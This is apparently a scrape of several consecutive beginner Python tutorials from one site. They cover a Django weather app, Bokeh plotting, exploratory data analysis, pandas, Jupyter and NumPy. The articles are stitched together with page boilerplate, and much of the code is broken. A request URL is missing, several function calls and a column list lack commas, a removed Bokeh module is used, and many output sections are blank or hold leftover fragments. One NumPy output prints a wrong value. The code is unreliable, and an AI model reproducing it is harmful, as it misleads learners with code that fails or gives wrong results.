    python manage.py runserver

    To check whether the server is running or not go to a web browser and enter http://127.0.0.1:8000/ as URL. Now, you can stop the server by pressing

    ctrl-c

    Implementation :

     python manage.py startapp main

    Goto main/ folder by doing :

    cd main 

    and create a folder with index.html file: templates/main/index.html

    Open the project folder using a text editor. The directory structure should look like this :

    Now add main app in settings.py

    Edit urls.py file in weather :




    from django.contrib import admin
    from django.urls import path, include
      
      
    urlpatterns = [
        path('admin/', admin.site.urls),
        path('', include('main.urls')),
    ]

    edit urls.py file in main :




    from django.urls import path
    from . import views
      
    urlpatterns = [
             path('', views.index),
    ]

    edit views.py in main :




    from django.shortcuts import render
    # import json to load json data to python dictionary
    import json
    # urllib.request to make a request to api
    import urllib.request
      
      
    def index(request):
        if request.method == 'POST':
            city = request.POST['city']
            ''' api key might be expired use your own api_key
                place api_key in place of appid ="your_api_key_here "  '''
      
            # source contain JSON data from API
      
            source = urllib.request.urlopen(
                        + city + '&appid = your_api_key_here').read()
      
            # converting JSON data to a dictionary
            list_of_data = json.loads(source)
      
            # data for variable list_of_data
            data = {
                "country_code": str(list_of_data['sys']['country']),
                "coordinate": str(list_of_data['coord']['lon']) + ' '
                            + str(list_of_data['coord']['lat']),
                "temp": str(list_of_data['main']['temp']) + 'k',
                "pressure": str(list_of_data['main']['pressure']),
                "humidity": str(list_of_data['main']['humidity']),
            }
            print(data)
        else:
            data ={}
        return render(request, "main/index.html", data)

    You can get your own API key from : Weather API

    Navigate to templates/main/index.html and edit it: link to index.html file

    Make migrations and migrate it:

    python manage.py makemigrations
    python manage.py migrate
    

    now let’s run the server to see your weather app.

    python manage.py runserver


    My Personal Notes arrow_drop_up
    Recommended Articles
    Page :


    Python – Data visualization using Bokeh

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 23 Jun, 2020

    Bokeh is a data visualization library in Python that provides high-performance interactive charts and plots. Bokeh output can be obtained in various mediums like notebook, html and server. It is possible to embed bokeh plots in Django and flask apps.

    Bokeh provides two visualization interfaces to users:

    bokeh.models : A low level interface that provides high flexibility to application developers.
    bokeh.plotting : A high level interface for creating visual glyphs.

    To install bokeh package, run the following command in the terminal:

    pip install bokeh

    The dataset used for generating bokeh graphs is collected from Kaggle.

    Code #1: Scatter Markers
    To create scatter circle markers, circle() method is used.




    # import modules
    from bokeh.plotting import figure, output_notebook, show
      
    # output to notebook
    output_notebook()
      
    # create figure
    p = figure(plot_width = 400, plot_height = 400)
      
    # add a circle renderer with
    # size, color and alpha
    p.circle([1, 2, 3, 4, 5], [4, 7, 1, 6, 3], 
             size = 10, color = "navy", alpha = 0.5)
      
    # show the results
    show(p) 

    Output :

    Code #2: Single line
    To create a single line, line() method is used.




    # import modules
    from bokeh.plotting import figure, output_notebook, show
      
    # output to notebook
    output_notebook()
      
    # create figure
    p = figure(plot_width = 400, plot_height = 400)
       
    # add a line renderer
    p.line([1, 2, 3, 4, 5], [3, 1, 2, 6, 5], 
            line_width = 2, color = "green")
      
    # show the results
    show(p)

    Output :

    Code #3: Bar Chart
    Bar chart presents categorical data with rectangular bars. The length of the bar is proportional to the values that are represented.




    # import necessary modules
    import pandas as pd
    from bokeh.charts import Bar, output_notebook, show
      
    # output to notebook
    output_notebook()
      
    # read data in dataframe
    df = pd.read_csv(r"D:/kaggle/mcdonald/menu.csv")
      
    # create bar
    p = Bar(df, "Category", values = "Calories",
            title = "Total Calories by Category"
                            legend = "top_right")
      
    # show the results
    show(p)

    Output :

    Code #4: Box Plot
    Box plot is used to represent statistical data on a plot. It helps to summarize statistical properties of various data groups present in the data.




    # import necessary modules
    from bokeh.charts import BoxPlot, output_notebook, show
    import pandas as pd
      
    # output to notebook
    output_notebook()
      
    # read data in dataframe
    df = pd.read_csv(r"D:/kaggle / mcdonald / menu.csv")
      
    # create bar
    p = BoxPlot(df, values = "Protein", label = "Category"
                color = "yellow", title = "Protein Summary (grouped by category)",
                 legend = "top_right")
      
    # show the results
    show(p)

    Output :

    Code #5: Histogram
    Histogram is used to represent distribution of numerical data. The height of a rectangle in a histogram is proportional to the frequency of values in a class interval.




    # import necessary modules
    from bokeh.charts import Histogram, output_notebook, show
    import pandas as pd
      
    # output to notebook
    output_notebook()
      
    # read data in dataframe
    df = pd.read_csv(r"D:/kaggle / mcdonald / menu.csv")
      
    # create histogram
    p = Histogram(df, values = "Total Fat",
                   title = "Total Fat Distribution"
                   color = "navy")
      
    # show the results
    show(p) 

    Output :

    Code #6: Scatter plot
    Scatter plot is used to plot values of two variables in a dataset. It helps to find correlation among the two variables that are selected.




    # import necessary modules
    from bokeh.charts import Scatter, output_notebook, show
    import pandas as pd
      
    # output to notebook
    output_notebook()
      
    # read data in dataframe
    df = pd.read_csv(r"D:/kaggle / mcdonald / menu.csv")
      
    # create scatter plot
    p = Scatter(df, x = "Carbohydrates", y = "Saturated Fat",
                title = "Saturated Fat vs Carbohydrates",
                xlabel = "Carbohydrates", ylabel = "Saturated Fat",
                color = "orange")
       
    # show the results
    show(p) 

    Output :


    References: https://bokeh.pydata.org/en/latest/

    My Personal Notes arrow_drop_up

    Exploratory Data Analysis in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Expert
    • Last Updated : 26 Apr, 2022

    What is Exploratory Data Analysis (EDA) ?

    EDA is a phenomenon under data analysis used for gaining a better understanding of data aspects like: 
    – main features of data 
    – variables and relationships that hold between them 
    – identifying which variables are important for our problem 
    We shall look at various exploratory data analysis methods like: 
     

    The dataset we’ll be using is child voting dataset, which you can import in python as: 
     

    Python3




    import pandas as pd
    Df = pd.read_csv("https://vincentarelbundock.github.io / Rdatasets / csv / car / Child.csv")

    Descriptive Statistics

    Descriptive statistics is a helpful way to understand characteristics of your data and to get a quick summary of it. Pandas in python provide an interesting method describe(). The describe function applies basic statistical computations on the dataset like extreme values, count of data points standard deviation etc. Any missing value or NaN value is automatically skipped. describe() function gives a good picture of distribution of data. 
     

    Python3




    DF.describe()

    Here’s the output you’ll get on running above code: 
     

    Another useful method if value_counts() which can get count of each category in a categorical attributed series of values. For an instance suppose you are dealing with a dataset of customers who are divided as youth, medium and old categories under column name age and your dataframe is “DF”. You can run this statement to know how many people fall in respective categories. In our data set example education column can be used 
     

    Python3




    DF["education"].value_counts()

    The output of the above code will be: 
     

    One more useful tool is boxplot which you can use through matplotlib module. Boxplot is a pictorial representation of distribution of data which shows extreme values, median and quartiles. We can easily figure out outliers by using boxplots. Now consider the dataset we’ve been dealing with again and lets draw a boxplot on attribute population 
     

    Python3




    import pandas as pd
    import matplotlib.pyplot as plt
    DF = pd.read_csv("https://raw.githubusercontent.com / fivethirtyeight / data / master / airline-safety / airline-safety.csv")
    y = list(DF.population)
    plt.boxplot(y)
    plt.show()

    The output plot would look like this with spotting out outliers: 
     

     

    Grouping data

    Group by is an interesting measure available in pandas which can help us figure out effect of different categorical attributes on other data variables. Let’s see an example on the same dataset where we want to figure out affect of people’s age and education on the voting dataset. 
     

    Python3




    DF.groupby(['education', 'vote']).mean()

    The output would be somewhat like this: 
     

    If this group by output table is less understandable further analysts use pivot tables and heat maps for visualization on them. 
     

    ANOVA

    ANOVA stands for Analysis of Variance. It is performed to figure out the relation between the different group of categorical data. 
    Under ANOVA we have two measures as result: 
    – F-testscore : which shows the variation of groups mean over variation 
    – p-value: it shows the importance of the result 
    This can be performed using python module scipy method name f_oneway() 
    Syntax:

     

    These samples are sample measurements for each group. 
    As a conclusion, we can say that there is a strong correlation between other variables and a categorical variable if the ANOVA test gives us a large F-test value and a small p-value.
     

    Correlation and Correlation computation

    Correlation is a simple relationship between two variables in a context such that one variable affects the other. Correlation is different from act of causing. One way to calculate correlation among variables is to find Pearson correlation. Here we find two parameters namely, Pearson coefficient and p-value. We can say there is a strong correlation between two variables when Pearson correlation coefficient is close to either 1 or -1 and the p-value is less than 0.0001. 
    Scipy module also provides a method to perform pearson correlation analysis, syntax:
     

     

    Here samples are the attributes you want to compare. 
    This is a brief overview of EDA in python, we can do lots more! Happy digging!
     


    My Personal Notes arrow_drop_up

    Data visualization with different Charts in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 09 Mar, 2018

    Data Visualization is the presentation of data in graphical format. It helps people understand the significance of data by summarizing and presenting huge amount of data in a simple and easy-to-understand format and helps communicate information clearly and effectively.

    Consider this given Data-set for which we will be plotting different charts :

     

    Different Types of Charts for Analyzing & Presenting Data

     
    1. Histogram :
    The histogram represents the frequency of occurrence of specific phenomena which lie within a specific range of values and arranged in consecutive and fixed intervals.

    In below code histogram is plotted for Age, Income, Sales. So these plots in the output shows frequency of each unique value for each attribute.




    # import pandas and matplotlib
    import pandas as pd
    import matplotlib.pyplot as plt
      
    # create 2D array of table given above
    data = [['E001', 'M', 34, 123, 'Normal', 350],
            ['E002', 'F', 40, 114, 'Overweight', 450],
            ['E003', 'F', 37, 135, 'Obesity', 169],
            ['E004', 'M', 30, 139, 'Underweight', 189],
            ['E005', 'F', 44, 117, 'Underweight', 183],
            ['E006', 'M', 36, 121, 'Normal', 80],
            ['E007', 'M', 32, 133, 'Obesity', 166],
            ['E008', 'F', 26, 140, 'Normal', 120],
            ['E009', 'M', 32, 133, 'Normal', 75],
            ['E010', 'M', 36, 133, 'Underweight', 40] ]
      
    # dataframe created with
    # the above data array
    df = pd.DataFrame(data, columns = ['EMPID', 'Gender'
                                        'Age', 'Sales',
                                        'BMI', 'Income'] )
      
    # create histogram for numeric data
    df.hist()
      
    # show plot
    plt.show()

    Output :

     
    2. Column Chart :
    A column chart is used to show a comparison among different attributes, or it can show a comparison of items over time.




    # Dataframe of previous code is used here
      
    # Plot the bar chart for numeric values
    # a comparison will be shown between
    # all 3 age, income, sales
    df.plot.bar()
      
    # plot between 2 attributes
    plt.bar(df['Age'], df['Sales'])
    plt.xlabel("Age")
    plt.ylabel("Sales")
    plt.show()

    Output :

     
    3. Box plot chart :
    A box plot is a graphical representation of statistical data based on the minimum, first quartile, median, third quartile, and maximum. The term “box plot” comes from the fact that the graph looks like a rectangle with lines extending from the top and bottom. Because of the extending lines, this type of graph is sometimes called a box-and-whisker plot. For quantile and median refer to this Quantile and median.




    # For each numeric attribute of dataframe
    df.plot.box()
      
    # individual attribute box plot
    plt.boxplot(df['Income'])
    plt.show()

    Output :

     
    4. Pie Chart :
    A pie chart shows a static number and how categories represent part of a whole the composition of something. A pie chart represents numbers in percentages, and the total sum of all segments needs to equal 100%.




    plt.pie(df['Age'], labels = {"A", "B", "C",
                                 "D", "E", "F",
                                 "G", "H", "I", "J"},
                                   
    autopct ='% 1.1f %%', shadow = True)
    plt.show()
      
    plt.pie(df['Income'], labels = {"A", "B", "C",
                                    "D", "E", "F",
                                    "G", "H", "I", "J"},
                                      
    autopct ='% 1.1f %%', shadow = True)
    plt.show()
      
    plt.pie(df['Sales'], labels = {"A", "B", "C",
                                   "D", "E", "F",
                                   "G", "H", "I", "J"},
    autopct ='% 1.1f %%', shadow = True)
    plt.show()

    Output :

     
    5. Scatter plot :
    A scatter chart shows the relationship between two different variables and it can reveal the distribution trends. It should be used when there are many different data points, and you want to highlight similarities in the data set. This is useful when looking for outliers and for understanding the distribution of your data.




    # scatter plot between income and age
    plt.scatter(df['income'], df['age'])
    plt.show()
      
    # scatter plot between income and sales
    plt.scatter(df['income'], df['sales'])
    plt.show()
      
    # scatter plot between sales and age
    plt.scatter(df['sales'], df['age'])
    plt.show()

    Output :


    My Personal Notes arrow_drop_up

    Data analysis and Visualization with Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 21 Feb, 2018

    Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric Python packages. Pandas is one of those packages, and makes importing and analyzing data much easier. In this article, I have used Pandas to analyze data on Country Data.csv file from UN public Data Sets of a popular ‘statweb.stanford.edu’ website.
    As I have analyzed the Indian Country Data, I have introduced Pandas key concepts as below. Before going through this article, have a rough idea of basics from matplotlib and csv.

    Installation
    Easiest way to install pandas is to use pip:

    pip install pandas

    or, Download it from here

    Creating A DataFrame in Pandas

    Creation of dataframe is done by passing multiple Series into the DataFrame class using pd.Series method. Here, it is passed in the two Series objects, s1 as the first row, and s2 as the second row.
    Example:




    # assigning two series to s1 and s2
    s1 = pd.Series([1,2])
    s2 = pd.Series(["Ashish", "Sid"])
    # framing series objects into data
    df = pd.DataFrame([s1,s2])
    # show the data frame
    df
      
    # data framing in another way
    # taking index and column values
    dframe = pd.DataFrame([[1,2],["Ashish", "Sid"]],
            index=["r1", "r2"],
            columns=["c1", "c2"])
    dframe
      
    # framing in another way 
    # dict-like container
    dframe = pd.DataFrame({
            "c1": [1, "Ashish"],
            "c2": [2, "Sid"]})
    dframe

    Output:

    c5  c6  c7
    

    Importing Data with Pandas

    The first step is to read the data. The data is stored as a comma-separated values, or csv, file, where each row is separated by a new line, and each column by a comma (,). In order to be able to work with the data in Python, it is needed to read the csv file into a Pandas DataFrame. A DataFrame is a way to represent and work with tabular data. Tabular data has rows and columns, just like this csv file(Click Download).
    Example:




    # Import the pandas library, renamed as pd
    import pandas as pd
      
    # Read IND_data.csv into a DataFrame, assigned to df
    df = pd.read_csv("IND_data.csv")
      
    # Prints the first 5 rows of a DataFrame as default
    df.head()
      
    # Prints no. of rows and columns of a DataFrame
    df.shape

    Output:

    c1
    
    29,10
    

    Indexing DataFrames with Pandas

    Indexing can be possible using the pandas.DataFrame.iloc method. The iloc method allows to retrieve as  many as rows and columns by position.
    Examples:




    # prints first 5 rows and every column which replicates df.head()
    df.iloc[0:5,:]
    # prints entire rows and columns
    df.iloc[:,:]
    # prints from 5th rows and first 5 columns
    df.iloc[5:,:5]

    Indexing Using Labels in Pandas

    Indexing can be worked with labels using the pandas.DataFrame.loc method, which allows to index using labels instead of positions.
    Examples:




    # prints first five rows including 5th index and every columns of df
    df.loc[0:5,:]
    # prints from 5th rows onwards and entire columns
    df = df.loc[5:,:]

    The above doesn’t actually look much different from df.iloc[0:5,:]. This is because while row labels can take on any values, our row labels match the positions exactly. But column labels can make things much easier when working with data. Example:




    # Prints the first 5 rows of Time period
    # value 
    df.loc[:5,"Time period"]
    c2
    

    DataFrame Math with Pandas

    Computation of data frames can be done by using Statistical Functions of pandas tools.
    Examples:




    # computes various summary statistics, excluding NaN values
    df.describe()
    # for computing correlations
    df.corr()
    # computes numerical data ranks
    df.rank()
    c4
    
    c9 
    
    c10
    

    Pandas Plotting

    Plots in these examples are made using standard convention for referencing the matplotlib API which provides the basics in pandas to easily create decent looking plots.
    Examples:




    # import the required module 
    import matplotlib.pyplot as plt
    # plot a histogram 
    df['Observation Value'].hist(bins=10)
      
    # shows presence of a lot of outliers/extreme values
    df.boxplot(column='Observation Value', by = 'Time period')
      
    # plotting points as a scatter plot
    x = df["Observation Value"]
    y = df["Time period"]
    plt.scatter(x, y, label= "stars", color= "m"
                marker= "*", s=30)
    # x-axis label
    plt.xlabel('Observation Value')
    # frequency label
    plt.ylabel('Time period')
    # function to show the plot
    plt.show()
    figure_1
    figure_2
    figure_3
    

    Data Analysis and Visualization with Python | Set 2

    Reference:

    This article is contributed by Afzal_Saan. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Data Analysis and Visualization with Python | Set 2

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 09 Sep, 2018

    Prerequisites : NumPy in Python, Data Analysis Visualization with Python | Set 1

    1. Storing DataFrame in CSV Format :

    Pandas provide to.csv('filename', index = "False|True") function to write DataFrame into a CSV file. Here filename is the name of the CSV file that you want to create and index tells that index (if Default) of DataFrame should be overwritten or not. If we set index = False then the index is not overwritten. By Default value of index is TRUE then index is overwritten.

    Example :




    import pandas as pd
      
    # assigning three series to s1, s2, s3
    s1 = pd.Series([0, 4, 8])
    s2 = pd.Series([1, 5, 9])
    s3 = pd.Series([2, 6, 10])
      
    # taking index and column values
    dframe = pd.DataFrame([s1, s2, s3])
      
    # assign column name
    dframe.columns =['Geeks', 'For', 'Geeks']
      
    # write data to csv file
    dframe.to_csv('geeksforgeeks.csv', index = False)  
    dframe.to_csv('geeksforgeeks1.csv', index = True)

    Output :

    geeksforgeeks1.csv
    
    
    geeksforgeeks2.csv
    
    

     

    2. Handling Missing Data

    The Data Analysis Phase also comprises of the ability to handle the missing data from our dataset, and not so surprisingly Pandas live up to that expectation as well. This is where dropna and/or fillna methods comes into the play. While dealing with the missing data, you as a Data Analyst are either supposed to drop the column containing the NaN values (dropna method) or fill in the missing data with mean or mode of the whole column entry (fillna method), this decision is of great significance and depends upon the data and the affect would create in our results.

     

    3. Groupby Method (Aggregation) :

    The groupby method allows us to group together the data based off any row or column, thus we can further apply the aggregate functions to analyze our data. Group series using mapper (dict or key function, apply given function to group, return result as series) or by a series of columns.

    Consider this is the DataFrame generated by below code :




    import pandas as pd
    import numpy as np
      
    # create DataFrame
    dframe = pd.DataFrame({'Geeks': [23, 24, 22, 22, 23, 24], 
                            'For': [10, 12, 13, 14, 15, 16],
                            'geeks': [122, 142, 112, 122, 114, 112]},
                            columns = ['Geeks', 'For', 'geeks']) 
      
    # Apply groupby and aggregate function
    # max to find max value of column 
      
    # &quot;For&quot; and column &quot;geeks&quot; for every
    # different value of column &quot;Geeks&quot;.
      
    print(dframe.groupby(['Geeks']).max())

    Output :

    
    

    My Personal Notes arrow_drop_up

    Python | Math operations for Data analysis

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 18 Aug, 2021

    Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric Python packages. Pandas is one of those packages and makes importing and analyzing data much easier.
    There are some important math operations that can be performed on a pandas series to simplify data analysis using Python and save a lot of time.

    To get the data-set used, click here

    s=read_csv("stock.csv", squeeze=True)
    #reading csv file and making series
    FunctionUse
    s.sum()Returns sum of all values in the series
    s.mean()

    Returns mean of all values in series. Equals to s.sum()/s.count() 
     

     

    s.std()Returns standard deviation of all values
    s.min() or s.max()Return min and max values from series
    s.idxmin() or s.idxmax()Returns index of min or max value in series
    s.median()Returns median of all value
    s.mode()Returns mode of the series
    s.value_counts()

    Returns series with frequency of each value 
     

     

    s.describe()

    Returns a series with information like mean, mode, etc depending on dtype of data passed 
     

     

    Code #1: 

    Python3




    # import pandas for reading csv file
    import pandas as pd
     
    #reading csv file
    s = pd.read_csv("stock.csv", squeeze = True)
     
    #using count function
    print(s.count())
     
    #using sum function
    print(s.sum())
     
    #using mean function
    print(s.mean())
     
    #calculation average
    print(s.sum()/s.count())
     
    #using std function
    print(s.std())
     
    #using min function
    print(s.min())
     
    #using max function
    print(s.max())
     
    #using count function
    print(s.median())
     
    #using mode function
    print(s.mode())

    Output:  

    3012
    1006942.0
    334.3100929614874
    334.3100929614874
    173.18720477113115
    49.95
    782.22
    283.315
    0    291.21

    Code #2: 

    Python3




    # import pandas for reading csv file
    import pandas as pd
     
    #reading csv file
    s = pd.read_csv("stock.csv", squeeze = True)
     
    #using describe function
    print(s.describe())
     
    #using count function
    print(s.idxmax())
     
    #using idxmin function
    print(s.idxmin())
     
    #count of elements having value 3
    print(s.value_counts().head(3))

    Output: 

    dtype: float64
    count    3012.000000
    mean      334.310093
    std       173.187205
    min        49.950000
    25%       218.045000
    50%       283.315000
    75%       443.000000
    max       782.220000
    Name: Stock Price, dtype: float64
    
    3011
    11
    291.21    5
    288.47    3
    194.80    3
    Name: Stock Price, dtype: int64

    Unexpected Outputs and Restrictions:

    1. .sum(), .mean(), .mode(), .median() and other such mathematical operations are not applicable on string or any other data type than numeric value.
    2. .sum() on a string series would give an unexpected output and return a string by concatenating every string.

    My Personal Notes arrow_drop_up

    Getting started with Jupyter Notebook | Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Basic
    • Last Updated : 22 Jul, 2021

    The Jupyter Notebook is an open-source web application that allows you to create and share documents that contain live code, equations, visualizations and narrative text. Uses include data cleaning and transformation, numerical simulation, statistical modeling, data visualization, machine learning, and much more.

    Jupyter has support for over 40 different programming languages and Python is one of them. Python is a requirement (Python 3.3 or greater, or Python 2.7) for installing the Jupyter Notebook itself.

    Install Jupyter using Anaconda:
    Install Python and Jupyter using the Anaconda Distribution, which includes Python, the Jupyter Notebook, and other commonly used packages for scientific computing and data science. You can download Anaconda’s latest Python3 version from here.
    Now, install the downloaded version of Anaconda.

    Installing Jupyter Notebook using PIP:

    python3 -m pip install --upgrade pip
    python3 -m pip install jupyter

    Command to run the Jupyter notebook:

    jupyter notebook

    This will print some information about the notebook server in your terminal, including the URL of the web application (by default, http://localhost:8888) and then open your default web browser to this URL.

    When the notebook opens in your browser, you will see the Notebook Dashboard, which will show a list of the notebooks, files, and subdirectories in the directory where the notebook server was started. Most of the time, you will wish to start a notebook server in the highest level directory containing notebooks. Often this will be your home directory.

    Create a new Notebook:
    Now on the dashboard, you can see a new button at the top right corner. Click it to open a drop-down list and then if you’ll click on Python3, it will open a new notebook.

    Few Useful Commands:


    Python Numpy

    • Last Updated : 15 Oct, 2018

    Numpy is a general-purpose array-processing package. It provides a high-performance multidimensional array object, and tools for working with these arrays. It is the fundamental package for scientific computing with Python.
    Besides its obvious scientific uses, Numpy can also be used as an efficient multi-dimensional container of generic data.

    Arrays in Numpy

    Array in Numpy is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. In Numpy, number of dimensions of the array is called rank of the array.A tuple of integers giving the size of the array along each dimension is known as shape of the array. An array class in Numpy is called as ndarray. Elements in Numpy arrays are accessed by using square brackets and can be initialized by using nested Python Lists.

    Creating a Numpy Array
    Arrays in Numpy can be created by multiple ways, with various number of Ranks, defining the size of the Array. Arrays can also be created with the use of various data types such as lists, tuples, etc. The type of the resultant array is deduced from the type of the elements in the sequences.
    Note: Type of array can be explicitly defined while creating the array.

    
    # Python program for
    # Creation of Arrays
    import numpy as np
    
    # Creating a rank 1 Array
    arr = np.array([1, 2, 3])
    print("Array with Rank 1: \n",arr)
    
    # Creating a rank 2 Array
    arr = np.array([[1, 2, 3],
                    [4, 5, 6]])
    print("Array with Rank 2: \n", arr)
    
    # Creating an array from tuple
    arr = np.array((1, 3, 2))
    print("\nArray created using " 
          "passed tuple:\n", arr)
    
    

    Output:

    Array with Rank 1: 
     [1 2 3]
    Array with Rank 2: 
     [[1 2 3]
     [4 5 6]]
    
    Array created using passed tuple:
     [1 3 2]
    

     
    Accessing the array Index
    In a numpy array, indexing or accessing the array index can be done in multiple ways. To print a range of an array, slicing is done. Slicing of an array is defining a range in a new array which is used to print a range of elements from the original array. Since, sliced array holds a range of elements of the original array, modifying content with the help of sliced array modifies the original array content.

    # Python program to demonstrate
    # indexing in numpy array
    import numpy as np
    
    # Initial Array
    arr = np.array([[-1, 2, 0, 4],
                    [4, -0.5, 6, 0],
                    [2.6, 0, 7, 8],
                    [3, -7, 4, 2.0]])
    print("Initial Array: ")
    print(arr)
    
    # Printing a range of Array
    # with the use of slicing method
    sliced_arr = arr[:2, ::2]
    print ("Array with first 2 rows and"
        " alternate columns(0 and 2):\n", sliced_arr)
    
    # Printing elements at
    # specific Indices
    Index_arr = arr[[1, 1, 0, 3], 
                    [3, 2, 1, 0]]
    print ("\nElements at indices (1, 3), "
        "(1, 2), (0, 1), (3, 0):\n", Index_arr)
    

    Output:

    Initial Array: 
    [[-1.   2.   0.   4. ]
     [ 4.  -0.5  6.   0. ]
     [ 2.6  0.   7.   8. ]
     [ 3.  -7.   4.   2. ]]
    Array with first 2 rows and alternate columns(0 and 2):
     [[-1.  0.]
     [ 4.  6.]]
    
    Elements at indices (1, 3), (1, 2), (0, 1), (3, 0):
     [ 0. 54.  2.  3.]
    
    

     
    Basic Array Operations
    In numpy, arrays allow a wide range of operations which can be performed on a particular array or a combination of Arrays. These operation include some basic Mathematical operation as well as Unary and Binary operations.

    
    # Python program to demonstrate
    # basic operations on single array
    import numpy as np
    
    # Defining Array 1
    a = np.array([[1, 2],
                  [3, 4]])
    
    # Defining Array 2
    b = np.array([[4, 3],
                  [2, 1]])
                  
    # Adding 1 to every element
    print ("Adding 1 to every element:", a + 1)
    
    # Subtracting 2 from each element
    print ("\nSubtracting 2 from each element:", b - 2)
    
    # sum of array elements
    # Performing Unary operations
    print ("\nSum of all array "
           "elements: ", a.sum())
    
    # Adding two arrays
    # Performing Binary operations
    print ("\nArray sum:\n", a + b)
    
    

    Output:

    Adding 1 to every element:
     [[2 3]
     [4 5]]
    
    Subtracting 2 from each element:
     [[ 2  1]
     [ 0 -1]]
    
    Sum of all array elements:  10
    
    Array sum:
     [[5 5]
     [5 5]]
    

     
    More on Numpy Arrays

    Data Types in Numpy

    Every Numpy array is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. Every ndarray has an associated data type (dtype) object. This data type object (dtype) provides information about the layout of the array. The values of an ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes which can be interpreted by the dtype object. Numpy provides a large set of numeric datatypes that can be used to construct arrays. At the time of Array creation, Numpy tries to guess a datatype, but functions that construct arrays usually also include an optional argument to explicitly specify the datatype.

    Constructing a Datatype Object
    In Numpy, datatypes of Arrays need not to be defined unless a specific datatype is required. Numpy tries to guess the datatype for Arrays which are not predefined in the constructor function.

    # Python Program to create
    # a data type object
    import numpy as np
    
    # Integer datatype
    # guessed by Numpy
    x = np.array([1, 2])  
    print("Integer Datatype: ")
    print(x.dtype)         
    
    # Float datatype
    # guessed by Numpy
    x = np.array([1.0, 2.0]) 
    print("\nFloat Datatype: ")
    print(x.dtype)  
    
    # Forced Datatype
    x = np.array([1, 2], dtype = np.int64)   
    print("\nForcing a Datatype: ")
    print(x.dtype)
    
    

    Output:

    Integer Datatype: 
    int64
    
    Float Datatype: 
    float64
    
    Forcing a Datatype: 
    int64
    

     
    Math Operations on DataType array
    In Numpy arrays, basic mathematical operations are performed element-wise on the array. These operations are applied both as operator overloads and as functions. Many useful functions are provided in Numpy for performing computations on Arrays such as sum: for addition of Array elements, T: for Transpose of elements, etc.

    # Python Program to create
    # a data type object
    import numpy as np
    
    # First Array
    arr1 = np.array([[4, 7], [2, 6]], 
                     dtype = np.float64)
                     
    # Second Array
    arr2 = np.array([[3, 6], [2, 8]], 
                     dtype = np.float64) 
    
    # Addition of two Arrays
    Sum = np.add(arr1, arr2)
    print("Addition of Two Arrays: ")
    print(Sum)
    
    # Addition of all Array elements
    # using predefined sum method
    Sum1 = np.sum(arr1)
    print("\nAddition of Array elements: ")
    print(Sum1)
    
    # Square root of Array
    Sqrt = np.sqrt(arr1)
    print("\nSquare root of Array1 elements: ")
    print(Sqrt)
    
    # Transpose of Array
    # using In-built function 'T'
    Trans_arr = arr1.T
    print("\nTranspose of Array: ")
    print(Trans_arr)
    

    Output:

    Addition of Two Arrays: 
    [[ 7. 13.]
     [ 4. 14.]]
    
    Addition of Array elements: 
    19.0
    
    Square root of Array1 elements: 
    [[2.         2.64575131]
     [1.41421356 2.44948974]]
    
    Transpose of Array: 
    [[4. 2.]
     [7. 6.]]
    

     
    More on Numpy Data Type

    Methods in Numpy

    all()
    any()
    take()
    put()
    apply_along_axis()
    apply_over_axes()
    argmin()
    argmax()
    nanargmin()
    nanargmax()
    amax()
    amin()
    insert()
    delete()
    append()
    around()
    flip()
    fliplr()
    flipud()
    triu()
    tril()
    tri()
    empty()
    empty_like()
    zeros()
    zeros_like()
    ones()
    ones_like()
    full_like()
    diag()
    diagflat()
    diag_indices()
    asmatrix()
    bmat()
    eye()
    roll()
    identity()
    arange()
    place()
    extract()
    compress()
    rot90()
    tile()
    reshape()
    ravel()
    isinf()
    isrealobj()
    isscalar()
    isneginf()
    isposinf()
    iscomplex()
    isnan()
    iscomplexobj()
    isreal()
    isfinite()
    isfortran()
    exp()
    exp2()
    fix()
    hypot()
    absolute()
    ceil()
    floor()
    degrees()
    radians()
    npv()
    fv()
    pv()
    power()
    float_power()
    log()
    log1()
    log2()
    log10()
    dot()
    vdot()
    trunc()
    divide()
    floor_divide()
    true_divide()
    random.rand()
    random.randn()
    ndarray.flat()
    expm1()
    bincount()
    rint()
    equal()
    not_equal()
    less()
    less_equal()
    greater()
    greater_equal()
    prod()
    square()
    cbrt()
    logical_or()
    logical_and()
    logical_not()
    logical_xor()
    array_equal()
    array_equiv()
    sin()
    cos()
    tan()
    sinh()
    cosh()
    tanh()
    arcsin()
    arccos()
    arctan()
    arctan2()

    Recent articles on Numpy


    Programs on Numpy

    Useful Numpy Articles


    My Personal Notes arrow_drop_up

    Numpy | ndarray

    • Last Updated : 28 Jun, 2021

    N-Dimensional array(ndarray) in Numpy

    Array in Numpy is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. In Numpy, number of dimensions of the array is called rank of the array.A tuple of integers giving the size of the array along each dimension is known as shape of the array. An array class in Numpy is called as ndarray. Elements in Numpy arrays are accessed by using square brackets and can be initialized by using nested Python Lists.

    Example :

    [[ 1, 2, 3],
          [ 4, 2, 5]]
    
    Here, rank = 2 (as it is 2-dimensional or it has 2 axes)
    First dimension(axis) length = 2, second dimension has length = 3
    overall shape can be expressed as: (2, 3)
    # Python program to demonstrate 
    # basic array characteristics
    import numpy as np
    
    # Creating array object
    arr = np.array( [[ 1, 2, 3],
                     [ 4, 2, 5]] )
    
    # Printing type of arr object
    print("Array is of type: ", type(arr))
    
    # Printing array dimensions (axes)
    print("No. of dimensions: ", arr.ndim)
    
    # Printing shape of array
    print("Shape of array: ", arr.shape)
    
    # Printing size (total number of elements) of array
    print("Size of array: ", arr.size)
    
    # Printing type of elements in array
    print("Array stores elements of type: ", arr.dtype)
    

    Output :

